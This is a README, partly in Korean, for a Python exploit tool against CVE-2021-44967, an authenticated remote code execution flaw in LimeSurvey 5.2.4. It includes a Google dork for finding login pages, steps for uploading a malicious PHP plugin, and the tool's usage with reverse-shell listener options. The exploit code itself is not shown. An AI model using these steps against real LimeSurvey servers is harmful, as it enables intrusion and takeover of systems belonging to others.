CVE-2021-44967

# Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)
# Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
# Date: 05/12/2021
# Discovered by: Y1LD1R1M
# Exploit Author: D3Ext
# Vendor Homepage: https://www.limesurvey.org/
# Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
# Version: 5.2.x
# Tested on: Kali Linux 2025
# CVE: CVE-2021-44967

설명

LimeSurvey 5.2.4에는 업로드 및 설치 플러그인 기능을 통해 원격 코드 실행(RCE) 취약점이 존재하며, 이는 원격의 악성 사용자가 임의의 PHP 코드 파일을 업로드할 수 있게 합니다.

다음은 이 취약점을 수동으로 악용하기 위해 따라야 할 단계입니다:

PHP 파일과 설정 파일이 포함된 ZIP을 생성합니다.
LimeSurvey에 로그인합니다.
설정 -> 플러그인 -> 업로드 및 설치로 이동합니다.
ZIP 파일을 업로드합니다.
설치합니다.
마지막으로 플러그인을 활성화합니다.
그러면 PHP 코드가 /upload/plugins/<plugin_name>/<php_file>에서 접근 가능해야 합니다.

사용법

usage: CVE-2021-44967.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]

CVE-2021-44967 - LimeSurvey Authenticated RCE

options:
  -h, --help           show this help message and exit
  --url URL            URL of the LimeSurvey web root
  --user USER          username to log in
  --password PASSWORD  password of the username
  --lhost LHOST        local host to receive the reverse shell
  --lport LPORT        local port to receive the reverse shell
  --verbose            enable verbose

netcat 리스너를 시작한 후 다음과 같이 익스플로잇을 실행합니다:

python3 --url <URL> --user <username> --password <password> --lhost <local host> --lport <local port>

데모

참고 자료

https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
https://www.exploit-db.com/exploits/50573
https://github.com/p0dalirius/LimeSurvey-webshell-plugin
https://ine.com/blog/cve-2021-44967-limesurvey-rce
https://pentest-tools.com/vulnerabilities-exploits/limesurvey-524-rce-vulnerability_13029

라이선스

이 프로젝트는 MIT 라이선스 하에 있습니다.

CVE-2021-44967

인기

CVE-2021-44967

설명

사용법

데모

참고 자료

라이선스